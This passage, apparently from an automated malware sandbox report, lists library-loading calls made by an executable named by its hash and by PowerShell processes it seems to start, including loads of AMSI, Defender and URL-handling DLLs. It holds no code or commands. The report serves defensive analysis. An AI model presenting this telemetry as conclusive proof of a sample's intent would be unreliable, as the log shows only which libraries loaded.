00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MPCLIENT.DLL (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MsMpLics.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00000336) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf49f6405#\e7f9e4af50c666b5fec85987c303915a\Microsoft.Management.Infrastr (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MPCLIENT.DLL (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MsMpLics.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\urlmon.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvC (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-libraryloader-l1-2-0.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter msvcrt.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Manag (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter Microsoft.Management.Infrastructure.Native.Unmanaged.DLL (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter mi.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-processthreads-l1-1-0.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-handle-l1-1-0.dll (UID: 00000000-00003052) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf49f6405#\e7f9e4af50c666b5fec85987c303915a\Microsoft.Management.Infrastr (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter 